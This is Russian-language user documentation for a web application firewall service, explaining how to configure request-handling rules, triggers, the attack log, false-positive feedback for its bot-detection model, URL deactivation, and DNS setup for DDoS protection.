В примере ниже показаны пять веток правил, сгруппированных по эндпоинтам. Ветка с общим эндпоинтом disc в первой строке. Другие ветки (2, 3, 4) имеют тот же эндпоинт (например, disc/…/series), но первая ветка стоит выше, потому что содержит условие: /**/*.*. Две звёздочки означают, что ветка распространяется на любое количество вложенных путей. Правило без привязки к эндпоинту также находится на этой странице. Нажмите на кнопку Правила по умолчанию, чтобы его увидеть.
Нажмите на ветку правил — откроется список связанных с ней правил. Например, третья ветка имеет три особых правила и одно правило, унаследованное от Правил по умолчанию. Нажмите на кнопку Особые и унаследованные правила, чтобы увидеть их.
Нажмите на кнопку + Добавить правило, чтобы добавить связанное правило.
Зачем использовать опцию
Покажем на примерах, когда правила могут быть полезны.
- Изменить обработку некоторых запросов. Вы используете заголовок X-AUTHTOKEN для авторизации на вашем сайте. WAF обрабатывает значения этого заголовка с помощью парсера base64. Этот парсер определяет некоторые комбинации символов (например, символ = в конце значения) как признак атаки. В результате запросы на авторизацию от ваших пользователей могут быть заблокированы. Чтобы предотвратить блокировку легитимных запросов, создайте правило для запросов авторизации и выключите в нём парсер base64.
- Повысить безопасность приложения. У вас самописное приложение, оно не построено на open-source движке (например, CMS WordPress). WAF не знаком с уязвимыми местами вашего приложения из-за его специфичной архитектуры. Чтобы повысить безопасность приложения, создайте правила, опираясь на свои знания о возможных уязвимостях.
Как пользоваться опцией
Добавить новое правило
Перейдите на вкладку Правила и нажмите на кнопку + Добавить правило.
Правило можно добавить на главном окне вкладки, либо открыть существующую ветку правил и добавить к ней связанное правило.
В правой части экрана появится окно настройки правила. Нужно добавить условия в секции Если есть запрос и правило обработки этого запроса в секции Тогда, затем нажать Создать.
Если пользовательские запросы совпадут с заданными условиями, они будут обрабатываться в соответствии с настроенным правилом.
Обратите внимание: настройки не применяются мгновенно. Фильтрующим серверам WAF требуется некоторое время на внесение настроек в базу.
Настроить условия правила (секция Если есть запрос)
Условия можно настроить двумя способами:
- В расширенной форме редактирования
- В одной строке
Второй способ требует специальных знаний о том, как добавить условия через URI. В этой статье мы рассмотрим добавление условий в расширенной форме редактирования. Чтобы настроить в ней правило, следуйте шагам ниже.
1. Выберите HTTP-метод (POST, GET, PUT, PATCH, DELETE) в выпадающем списке или оставьте поле пустым, если хотите применить правило ко всем методам.
2. Введите в поле желаемый эндпоинт запроса.
Если вы хотите создать правило по умолчанию, оставьте поле пустым и перейдите к следующему шагу. Поле автоматически заполнится значением /**/*.* .
3. Нажмите на иконку стрелки, чтобы открыть расширенную форму редактирования. Если вы указали эндпоинт, появившиеся ниже поля будут уже заполнены. Значения полей меняются, когда вы изменяете эндпоинт. Если эндпоинт не был указан, поля будут пустыми.
4. Нажмите + Добавить условие, чтобы настроить дополнительное условие.
5. Выберите параметр условия из выпадающего списка и впишите его значение. Во время анализа пользовательских запросов WAF будет проверять, соответствуют ли они указанному значению.
Доступны шесть параметров:
- header — заголовок запроса. При выборе параметра — появится выпадающий список с часто используемыми заголовками. Выберите подходящий: HOST, USER-AGENT, COOKIE, X-FORWARDED-FOR, AUTHORIZATION, REFERER, CONTENT-TYPE.
- path — номер части эндпоинта от 0 и выше. Обратите внимание: не нужно добавлять параметр для последней части эндпоинта. Оставьте поле пустым, если эндпоинт состоит из одной части.
- action_name — последняя часть эндпоинта перед точкой.
- action_ext — последняя часть эндпоинта после точки — расширение файла.
- query — параметр запроса.
- scheme — схема запроса (http или https).
Выберите тип условия. Доступны четыре типа:
**Тип** | **Значение** | **Расшифровка** |
= | Equal — равно | Значение параметра должно соответствовать сравниваемому аргументу. example = example |
Aa | IEqual (Equal in any case) — равно в любом регистре | Значение параметра должно соответствовать сравниваемому аргументу в любом регистре. Example Aa example |
.\* | Regular expression — регулярное выражение | Значение параметра должно соответствовать регулярному выражению. Используйте[ библиотеку PIRE](https://github.com/yandex/pire), чтобы составить выражение. |
∅ | Absent — отсутствует | Параметр должен отсутствовать в запросе. Значение параметра заполнять не нужно. example ∅ |
Введите значения добавленных параметров.
Добавить правило обработки запроса (секция Тогда)
После добавления условий установите действие в секции Тогда. Если пользовательский запрос совпадёт с условиями правила, это действие сработает.
{width="602" height="395"}
Выберите действие из выпадающего списка и настройте его. Доступны шесть действий:
1. Разрешить двоичные данные. Используйте действие, чтобы настроить механизм обнаружения атак в бинарных данных. WAF может ошибочно определить некоторые стандартные бинарные символы как признак атаки.
2. Игнорировать определённые типы атак. Установите, какие типы атак будут игнорироваться в пользовательских запросах. По умолчанию WAF реагирует на все типы атак независимо от части запроса, в которой они обнаружены. Иногда на легитимные запросы происходят ложные срабатывания. Например, когда пользователь добавляет пост с описанием вредоносной SQL-команды.
3. Выключить/Включить парсеры. Управляйте набором парсеров, которые WAF применяет к запросу при его анализе. WAF последовательно применяет все подходящие парсеры к каждой части запроса. Однако в некоторых случаях WAF может ошибочно применить парсер и определить атаку в декодированном значении.
4. Создать индикатор атаки на основе регулярных выражений. Добавьте собственные индикаторы обнаружения атак на основе регулярных выражений (regexp). Самостоятельно WAF не использует регулярные выражения, но позволяет пользователям применять их для создания индикаторов атак.
5. Маскировка конфиденциальных данных. Удалите конфиденциальные данные из запроса перед отправкой в Облако WAF. Конфиденциальные данные, например, авторизационные, платёжные и персональные, нежелательно передавать за пределы сервера, на котором они обрабатываются. WAF позволяет маскировать данные в запросе, но продолжает выявлять в них признаки атак. Обратите внимание: действие может повлиять на обнаружение атак перебора, их отображение и перепроверку.
6. Установить режим фильтрации. Включите или выключите блокировку запросов для эндпоинтов веб‑приложения. Доступны четыре опции:
- По умолчанию. WAF будет обрабатывать запросы в соответствии с настройками по умолчанию.
- Запретить. Фильтрация и анализ запросов полностью выключены.
- Мониторинг. Система анализирует запросы и отображает их в интерфейсе. При этом запросы не блокируются, кроме запросов от IP‑адресов из чёрного списка.
- Блокировка. Вредоносные запросы блокируются и отображаются в интерфейсе.
Добавить место применения правила (секция В этой части запроса)
В секции В этой части запроса укажите, к какой части запроса будет или не будет применяться выбранное действие из секции Тогда.
Например, вы выбрали действие «Маскировка конфиденциальных данных» и хотите скрыть данные аутентификации пользователей через заголовок cookie.
1. Выберите параметр header и введите cookie в качестве значения.
2. Нажмите на +, чтобы добавить ещё один параметр. В появившемся поле выберите cookie и введите значение заголовка.
3. Нажмите Сохранить.
Теперь данные об аутентификации скрыты, и не выйдут за пределы вашего сервера, а мы продолжим сканировать запросы на наличие атак.
Триггеры. Настроить уведомления и реакции для WAF
Что такое Триггеры
Триггеры — это инструмент, позволяющий настраивать уведомления и реакции на события, которые WAF по умолчанию игнорирует (напр., поведенческие атаки).
Каждый триггер состоит из трёх компонентов:
- Условия — события, для которого настраивается реакция.
- Фильтра — детализации условия (напр., тип атаки).
- Реакции — действия, которое выполнит WAF при соблюдении условий и фильтров.
Например, вы хотите получать уведомления на почту при выявлении более 20 000 XSS-атак в день. Тогда вам нужно создать триггер с такими компонентами:
- Условие: «Количество атак» более чем «20000» за «день»
- Фильтр: «Тип» атаки = XSS
- Реакция: «Отправить email»
Так выглядит вкладка с активными триггерами:
Как создать триггер
1. Перейдите в раздел Триггеры и нажмите на кнопку +Создать триггер.
Откроется новое окно — остальные действия выполняйте в нём.
2. Выберите подходящее условие из списка справа.
Доступны десять условий:
1) Brute force. К атакам brute force относятся, например, систематический перебор паролей и ID сессий, а также подмена данных или spoofing. Признаком такой атаки являются множественные запросы к одному и тому же эндпоинту в определённый промежуток времени.
2) Принудительный просмотр. Это поведенческая атака, в процессе которой атакующий пытается найти информацию о компонентах и конфигурации приложения в директориях и файлах. Выявить такую атаку можно по многочисленным запросам к разным эндпоинтам, на которые приложение отвечает 404 кодом.
3) BOLA. BOLA (Broken Object Level Authorization) — атака, которая позволяет злоумышленнику обойти авторизацию и с помощью API-запроса получить или изменить компонент приложения.
По умолчанию WAF не защищает приложения от атак brute force, принудительного просмотра или BOLA. Так, при выборе условий 1, 2, или 3, вы укажете WAF на признаки атаки и определите, как файрвол будет на них реагировать.
4) Количество вредоносных полезных нагрузок. Вредоносной нагрузкой считается часть запроса с указаниями о том, какие действия должны совершаться над приложением. С помощью триггера вы можете указать на какое количество запросов с такой нагрузкой должен ответить WAF.
5–7) Количество атак/попаданий/инцидентов. Выбирая одно из условий 5-7, вы определяете, о каком количестве атак, попаданий или инцидентов WAF предупредит вас в email-уведомлении.
8) IP-адрес запрещенного списка. Условие определяет, какие IP-адреса будут заблокированы.
9) Попадания с одного IP. Укажите число попаданий с одного IP-адреса, после которого они будут считаться атакой и попадут в раздел События.
10) Пользователь добавлен. С помощью этого условия, вы попросите WAF отправлять email-уведомления, когда какой-либо пользователь добавляется в ваш WAF-аккаунт.
3. (опционально) После выбора условия добавьте фильтры. Используйте их, чтобы конкретизировать условия.
Список доступных фильтров зависит от выбранного условия. В примере ниже в колонке справа показаны фильтры для условия «Количество атак».
Например, мы добавили фильтр «Тип» и выбрали типы xss, sqli и rce, чтобы определить, о каких типах атак мы хотим получать уведомления.
Нажмите на фильтр, чтобы добавить его в триггер. Затем вы сможете добавить значение фильтра.
Доступны восемь фильтров:
- URI (только для условий Brute force, Принудительного просмотра и BOLA) — это эндпоинт, на который отправляются запросы.
- Тип — тип атаки в запросе или уязвимости, на которую направлен запрос.
- Приложение — приложение, которое приняло запрос или в котором он был найден.
- IP — IP-адрес, с которого был отправлен запрос.
- Домен — домен приложения, на который был отправлен запрос или на котором запрос был найден.
- Статус ответа — код ответа, которым приложение ответило на запрос.
- Цель — часть приложения (database, server или client), на которую была направлена атака, или в которой она была найдена.
- Пользовательская роль — роль пользователя, добавленного в аккаунт. Может принимать значения: deploy, analytic, admin, superadmin, partner_admin, auditor, partner_auditor, partner_analytic.
4. Установите реакцию. Она определяет, как будет действовать WAF, если соблюдены условия и фильтры. Набор предлагаемых реакций также зависит от выбранного условия.
На примере ниже показаны реакции на условие Brute force.
Нажмите на кнопку Добавить реакцию, выберите одну из предлагаемых в списке справа и настройте её, если необходимо.
Какие реакции доступны:
- Отметить как brute force/принудительный просмотр/BOLA. WAF покажет атаки с типом brute force, принудительный просмотр или BOLA в разделе События, но не заблокирует их.
- Черный список IP-адресов. WAF заблокирует атаку и добавит IP-адрес в чёрный список.
- Отправить email. WAF отправит уведомление на указанный email-адрес. Чтобы установить эту реакцию, в разделе Настройки заранее создайте интеграцию и добавьте в неё email-адрес.
- Сгруппируйте следующие удары в одну атаку. WAF сгруппирует удары с одного IP и покажет их в рамках одной атаки в разделе События.
5. Введите название и описание триггера (если необходимо).
6. Нажмите Создать.
Как отключить или удалить триггер
Перейдите в раздел Триггеры, нажмите на иконку ··· напротив триггера и нажмите на желаемое действие: Отключить или Удалить.
- Если вы удалите триггер, он будет остановлен и удалён навсегда.
- При отключении триггера, его реакции будут остановлены, пока вы не возобновите работу триггера. Отключенные триггеры отображаются в общем списке. Чтобы включить их, выберите Включить.
WAF
Атаки. Мониторинг и анализ инцидентов безопасности
Что такое Атаки
Раздел Атаки — это централизованный журнал безопасности, где собирается и систематизируется информация обо всех зафиксированных инцидентах и подозрительной активности, направленной на ваши веб-ресурсы. Каждая запись в журнале представляет собой событие безопасности, которое было обнаружено и проанализировано системой защиты.
WAF автоматически группирует отдельные события в записи, если у них совпадают одновременно три ключевых параметра: тип триггера (угрозы), IP-адрес или источник атаки, а также целевой ресурс. Такая группировка позволяет эффективно анализировать масштабные атаки и выявлять закономерности в действиях злоумышленников. Как выглядит журнал атак:
Система фильтрации событий
Воспользуйтесь фильтрами: они позволяют гибко управлять отображаемыми записями, облегчая навигацию и анализ инцидентов.
Триггеры — основная классификация типов угроз, включающая широкий спектр векторов атак:
- Инъекции: SQLi (SQL-инъекции), NoSQL (инъекции в NoSQL базы), LFI Injection (локальные файловые инъекции), RFI (удалённые файловые инъекции), SSTI (инъекции в серверные шаблоны)
- Веб-уязвимости: XSS (межсайтовый скриптинг), RCE (удалённое выполнение кода), UFU (неограниченная загрузка файлов)
- Анализ и разведка: Scanner (сканеры уязвимостей), Source code disc. (раскрытие исходного кода), Susp. access (подозрительный доступ)
- Атаки на доступность: Flood (флуд-атаки), DDoS Analysis (анализ DDoS-активности), Brute-force (атаки перебора)
- Обход защиты: Evasion (техники обхода), WAF bypass (обход WAF), UWA (нежелательная активность пользователей)
- Автоматизированная активность: Bot (ботнеты), AI Antibot (ML-модуль для защиты от ботов и анализа API)
- Системные угрозы: Virus (вирусная активность), Antivirus (антивирусные срабатывания), Archive access (доступ к архивам)
- Специализированные: OSCI (инъекции команд ОС), API Firewall (защита API), User-defined (пользовательские правила)
- Прочие: Other (прочие угрозы), Internal error (внутренние ошибки), Blocked IP (заблокированные IP)
Страны — географическая фильтрация по происхождению атак, позволяющая выявить региональные угрозы и применить геоблокировку при необходимости.
IP-адреса — фильтрация по конкретным адресам или диапазонам, что особенно полезно для отслеживания повторяющихся атак от одних и тех же источников.
Ресурсы — фильтрация по целевым доменам и путям, помогающая выявить наиболее атакуемые части инфраструктуры.
Временные интервалы — система двойной фильтрации времени:
- Предустановленные периоды: последняя неделя, последние 48 часов, последние 24 часа, последние 8 часов, последние 4 часа, последний час
- Календарный интерфейс с возможностью точного выбора даты и времени начала и окончания периода анализа
Фильтры работают в связке: при изменении календарного интервала вручную предустановленный период автоматически переключается на "Свой интервал".
Структура журнала атак
Журнал представлен в виде списка в табличном формате.
В этом списке отображены следующие столбцы:
Дата — временная метка первого события в группе, позволяющая хронологически отследить развитие угроз.
Хиты — количественный показатель интенсивности атак, отображающий число отдельных запросов, сгруппированных в данное событие. Высокие значения могут указывать на автоматизированные атаки или DDoS-активность.
Триггер — тип обнаруженной угрозы согласно классификации системы безопасности.
Источник / IP — информация об атакующей стороне. При множественных источниках отображается наиболее активный.
Антибот — результат анализа на предмет автоматизированной активности, помогающий отличить человеческие действия от ботов.
Путь / Ресурс — целевой путь или домен, на который направлена атака, что позволяет выявить наиболее уязвимые точки инфраструктуры.
Детальный анализ событий
Каждая групповая запись может быть развёрнута для просмотра составляющих её отдельных атак:
Разверните отдельные события, чтобы получить максимально подробную информацию и полную техническую картину:
Идентификационные данные:
- ID события — уникальный идентификатор в системе
- ID запроса — техническая метка для сопоставления с логами
- ID сигнатуры — ссылка на правило обнаружения (для сигнатурного анализа)
- ID блокировки — идентификатор применённой меры противодействия
Техническая информация о запросе:
- HTTP-метод (GET, POST, PUT, DELETE и др.)
- Полный путь запроса с параметрами
- User-Agent браузера или инструмента атаки
- Заголовки HTTP-запроса
- Параметры запроса (Query String)
- Тело запроса (для POST/PUT запросов)
- Cookie данные
- Referer — источник перехода
Описание — человекочитаемое название типа обнаруженной угрозы.
Зона запроса — конкретная часть HTTP-запроса, в которой была обнаружена вредоносная активность (URL, User-Agent, заголовки, тело запроса и т.д.).
Создание правил безопасности
Для событий, относящихся к сигнатурному анализу, доступна функция быстрого создания правил непосредственно из контекста атаки. К сигнатурному анализу относятся следующие типы триггеров: SQLi, NoSQL, XSS, RCE, LFI Injection, RFI, SSTI, Scanner, OSCI, а также некоторые типы из категорий Evasion и WAF bypass:
Нажмите кнопку Создать правило в развёрнутом описании события, и система автоматически предзаполнит форму создания правила:
Автоматически заполняемые поля:
- ID сигнатуры — извлекается из контекста события
- Ресурс — целевой путь атаки
Настраиваемые параметры:
- Алиас — дополнительный домен, внесённый в настройках ресурса.
- Зона применения — выбор из 10 доступных вариантов: Path, ARGS, HEADERS, Cookie, User-agent, Content-Type, X-Forward-For, Range, Referer, noMLA.
- Дополнительное условие — система уточняющих фильтров с поддержкой регулярных выражений.
Система дополнительных условий позволяет создавать сложные правила с множественными критериями. Каждое дополнительное условие включает Зону уточнения (BODY, Path, ARGS, HEADERS) и Правило уточнения с опциональной поддержкой регулярных выражений (Regex). Количество дополнительных условий не ограничено.
Подробнее о создании Правил вы можете узнать в статье.
Обработка ложных срабатываний
Специфика AI Antibot триггеров
Для событий, классифицированных как "AI Antibot", доступна специальная функция коррекции ложных срабатываний. Когда система машинного обучения ошибочно классифицирует легитимную активность пользователя как ботнет или автоматизированную угрозу, вы можете исправить эту ошибку непосредственно из интерфейса журнала атак.
Процесс создания исключения
1. Нажмите на кнопку Ложное срабатывание в развёрнутом описании события с триггером "AI Antibot":
2. Появится окно Создать ложное срабатывание с автоматически заполненным полем Url из контекста события:
3. Нажмите Добавить.
После нажатия кнопки система:
- сохранит информацию о ложном срабатывании;
- передаст данные в модуль машинного обучения для корректировки алгоритмов;
- автоматически добавит запись во вкладку Ложные срабатывания раздела Настройки.
Эффект на систему обучения
После обработки информации о ложном срабатывании:
- ML-модуль анализирует характеристики запроса, который был ошибочно заблокирован
- Алгоритмы обнаружения корректируются для предотвращения аналогичных ошибок в будущем
- Система запоминает паттерны легитимной активности для данного ресурса
Поробнее о Ложных срабатываниях можно узнать в статье «Настройки. Управление правилами и исключениями WAF».
Период хранения данных
Система автоматически ведет журнал всех зафиксированных событий безопасности с ограниченным периодом хранения. Общее время хранения записей атак составляет 30 дней с момента их первоначального обнаружения. По истечении этого срока записи автоматически удаляются из системы для оптимизации производительности и соблюдения политик управления данными.
Практическое применение
Раздел Атаки служит основой для:
Оперативного реагирования — быстрое выявление активных угроз и принятие мер по их нейтрализации.
Аналитики безопасности — выявление паттернов атак, источников угроз и наиболее уязвимых компонентов инфраструктуры.
Настройки защиты — создание целевых правил безопасности на основе реальных инцидентов.
Соответствия требованиям — ведение журнала инцидентов безопасности для аудита и соответствия нормативным требованиям.
Настройки. Управление правилами и исключениями WAF
О Настройках
Раздел Настройки предоставляет инструменты тонкой настройки поведения WAF, позволяя адаптировать систему защиты под специфические требования вашего веб-приложения. Настройки организованы в три основные вкладки, каждая из которых отвечает за определенный аспект конфигурации системы безопасности:
Правила
Вкладка Правила содержит централизованный реестр всех пользовательских правил безопасности. Здесь отображаются как правила, созданные непосредственно в этом разделе, так и правила, добавленные через интерфейс журнала атак:
Создание правил
После нажатия на Создать правило вам откроется расширенный интерфейс конфигурации:
В данном окне вы можете определить:
Условия срабатывания — критерии, при которых правило будет активировано:
1. ID сигнатуры (обязательно) — ссылка на конкретное правило обнаружения из библиотеки сигнатур. Значение можно указать числом (например, 30) или символом *, чтобы отключить все сигнатуры, соответствующие заданным условиям.
2. Зона применения (обязательно) — конкретная часть HTTP-запроса для анализа. Допускается выбор нескольких зон одновременно, в этом случае исключение срабатывания сигнатуры будет применяться, если она обнаружена хотя бы в одной из указанных зон.
3. Целевой ресурс (обязательно) — URL или путь, к которому применяется правило.
4. Алиас — дополнительный домен, внесённый в настройках ресурса.
Дополнительное условие — система уточняющих фильтров (рекомендуется):
5. Зона уточнения — дополнительная спецификация области применения (BODY, Path, ARGS, HEADERS).
6. Правило уточнения — конкретные критерии с поддержкой регулярных выражений.
7. Возможность создания множественных условий через интерфейс "+" и "-". Уточнения комбинируются через логическое И: правило срабатывает только при соблюдении как базового условия, так и всех дополнительных критериев.
Например, для исключения срабатывания сигнатуры с ID 30 для хоста example.ru, если сигнатура была обнаружена в зоне HEADERS, достаточно задать основное условие:
ID: 30
Зона: HEADERS
Хост: example.ru
Но если добавить уточнение (например, URL http://admin/login.php), то сигнатура будет исключена только при одновременном выполнении двух условий:
- Зона срабатывания сигнатуры — HEADERS
- URL запроса содержит http://admin/login.php
Таким образом, правило сработает только для запросов к example.ru, где:
- Сигнатура обнаружена в заголовках (HEADERS)
- Запрос направлен на http://admin/login.php
Механизм наследования правил
Система автоматически группирует правила по принципу иерархии эндпоинтов. Правила с более общими путями (например, корневая директория) наследуются правилами с более специфичными путями (конкретные файлы или поддиректории). Это обеспечивает логичную структуру безопасности и предотвращает конфликты конфигурации.
Ложные срабатывания
Система машинного обучения Антибот способна адаптироваться и совершенствоваться на основе обратной связи о ложных срабатываниях. Вкладка Ложные срабатывания предоставляет механизм обучения Антибот-системы на корректных данных пользовательского поведения.
Принцип работы
При добавлении события в раздел ложных срабатываний ML-модуль анализирует характеристики данного запроса и корректирует алгоритмы обнаружения. Это позволяет системе в будущем не классифицировать аналогичные легитимные запросы как угрозы.
Процесс добавления
Вы можете перенести событие из журнала атак в раздел ложных срабатываний, если анализ показал, что запрос был ошибочно классифицирован как вредоносный. Система запоминает характеристики такого запроса и использует их для улучшения точности обнаружения. Как пометить атаку как ложное срабатывание описываем в статье «Атаки. Мониторинг и анализ инцидентов безопасности».
После этого событие появится во вкладке:
Структура ложных срабатываний
Журнал представлен в виде списка в табличном формате. В этом списке отображены следующие столбцы:
- Дата — временная метка добавления записи в список ложных срабатываний.
- Источник / IP — идентификация ресурса или IP-адреса, для которого было зафиксировано ложное срабатывание.
- Детали — Url-путь, который был ошибочно классифицирован как подозрительный.
- Управление записями — каждая строка оснащена меню действий, с помощью которого вы можете удалить запись из списка.
Эффект обучения
После обработки информации о ложном срабатывании система автоматически корректирует свои алгоритмы, что приводит к:
- Снижению количества ложных блокировок легитимного трафика.
- Повышению точности обнаружения реальных угроз.
- Адаптации к специфике конкретного веб-приложения.
Важно отметить, что процесс обучения является односторонним — система запоминает характеристики ложных срабатываний, но не снижает общий уровень безопасности для других типов атак.
Деактивация URL
Данная вкладка предоставляет возможность полного исключения конкретных URL-адресов из процесса анализа WAF. Это радикальная мера, которая должна применяться с особой осторожностью.
Принцип работы
При добавлении URL в список деактивации система полностью прекращает анализ запросов к указанному ресурсу. Это означает, что:
- Все запросы к деактивированному URL проходят без проверки.
- Система не ведет журнал событий для таких запросов.
- Любые потенциальные угрозы остаются необнаруженными.
Добавление URL в список деактивации
Для добавления нового URL в список исключений нажмите кнопку Добавить URL в правом верхнем углу интерфейса:
В открывшемся диалоговом окне заполните следующие поля:
- Ресурс (обязательно) — выберите из выпадающего списка ресурс, для которого создается исключение
- Алиас — выберите соответствующий алиас из доступных вариантов
- URL (обязательно) — введите точный путь к ресурсу, который необходимо исключить из анализа
После заполнения полей нажмите Добавить.
Форматы указания URL
Система поддерживает точное указание пути:
- Абсолютные пути: /admin/config.php
- Специфичные ресурсы: /uploads/document.pdf
Сценарии применения
Деактивация URL может быть оправдана в следующих случаях:
- Административные панели с собственной системой безопасности.
- API-эндпоинты с альтернативными методами защиты.
- Ресурсы, где ложные срабатывания критически влияют на функциональность.
- Временное исключение проблемных путей на период отладки.
Меры предосторожности
Использование деактивации URL требует тщательного планирования:
- Регулярный аудит списка исключенных ресурсов.
- Документирование причин исключения каждого URL.
- Мониторинг исключенных ресурсов альтернативными средствами.
- Периодическая переоценка необходимости исключений.
Иерархия применения настроек
Система обработки запросов WAF работает по принципу приоритетности:
- Деактивированные URL — запросы к таким ресурсам пропускаются без анализа
- Пользовательские правила — применяются к запросам, прошедшим первый уровень
- Системы обучения — корректировки на основе ложных срабатываний
- Встроенные библиотеки — базовые правила безопасности для необработанных запросов
Управление конфигурацией
Время применения изменений
Изменения в настройках не применяются мгновенно. Фильтрующие серверы WAF требуют времени на синхронизацию конфигурации, которое обычно составляет от нескольких секунд до нескольких минут в зависимости от сложности изменений.
Тестирование конфигурации
Рекомендуется тестировать новые правила в ограниченном масштабе перед полным развертыванием:
- Создание правил для конкретных поддоменов или путей
- Мониторинг влияния на легитимный трафик
- Постепенное расширение области применения
Интеграция с журналом событий
Настройки тесно интегрированы с разделом Атаки:
- Правила, созданные из контекста атак, автоматически появляются в реестре.
- Ложные срабатывания, помеченные в журнале атак, мгновенно синхронизируются с соответсвующей вкладкой.
- Изменения в настройках влияют на классификацию будущих событий.
- Статистика эффективности правил доступна через журнал событий.
FAQ
Как изменить А-запись домена?
Для изменения А-записи используйте
- Панель управления вашего хостинг-провайдера, если управление доменными именами делегировано хостинг-провайдеру.
- Панель управления регистратора, у которого вы регистрировали домен.
А-запись нужно направить на IP-адрес, выделенный при создании ресурса.
Кто нас атакует?
Мы специализируемся на технологиях фильтрации, а не на расследовании киберпреступлений. Наши технологии не позволяют ответить на вопрос о заказчике и исполнителе атаки.
Мы под DDoS-атакой. A-запись изменена на IP защиты, но DDoS-трафик всё равно поступает
Возможны три причины происходящего:
- Не все DNS-серверы обновили свои записи (зависит от TTL), и трафик не полностью перешёл под защиту — нужно подождать.
- Вы не сменили IP-адрес своего сервера после подключения к MaCloud, а значит, он известен атакующей стороне и атака продолжается напрямую — запросите новый IP у хостера.
- Вы не только не сменили IP-адрес, но и не закрыли доступ к своему серверу со всех IP-адресов, кроме наших узлов. Это можно сделать в вашем файрволе, либо обратившись к хостинг-провайдеру.
Сколько времени занимает создание ресурса?
Подключение ресурса к защите происходит мгновенно. Создайте ресурс и измените А-запись в настройках DNS, чтобы активировать защиту. Время полной активации зависит от TTL-записи в DNS. В этой записи содержится время, на которое запись кешируется в DNS.
Можно ли отключить защиту на время или отключить её для части сайта?
Нет, защита включается и выключается только изменением А-записи в DNS.
Что проверяется при анализе трафика?
При анализе учитывается множество критериев. Основные — поведение пользователя и история его запросов. Также имеют значение особенности действий посетителя сайта в низкоуровневом контексте TCP-соединения.
Мы изменили A-запись, но DNS не обновляется — трафик поступает не через MaCloud
Мы не можем помочь в этой ситуации. Уменьшение TTL не повлияет на ситуацию, так как старая запись уже попала в кеш на DNS-серверах со старым значением TTL.
Какие поисковые боты не блокируются защитой?
Предоставление услуг защиты незаметно для легитимных посетителей, поэтому легальные поисковые боты (например, Google Web Crawler) не блокируются. Список легальных ботов постоянно обновляется.
Если посетитель защищаемого сайта попадёт в чёрный список, будет ли он разблокирован через какое-то время?
IP-адрес заблокированного пользователя будет со временем исключён из чёрного списка. Такая блокировка — временная, и её длительность зависит от причины блокировки.
На веб-сервер поступает множество запросов с разных IP-адресов. Может ли это быть атакой?
Скорее всего, это адреса наших узлов. Все клиентские запросы поступают на них, а далее – после анализа и фильтрации – переадресовываются на защищаемый домен. Если вы сомневаетесь атака это или нет, напишите нам в чат или на support@macloud.pro и сообщите IP, с которых идут множественные запросы.
Злоумышленники узнали мой оригинальный IP и атакуют его напрямую. Что делать?
Запросите у хостинг-провайдера другой IP — лучше из другой подсети и пропишите новый IP-адрес в настройках ресурса в личном кабинете.
В своём файрволе разрешите соединения только от узлов нашей сети.
Есть ли защита от атак, направленных на DNS?
Мы не предоставляем защиту DNS. Защиту можно подключить для сайтов и ресурсов, которые работают поверх TCP.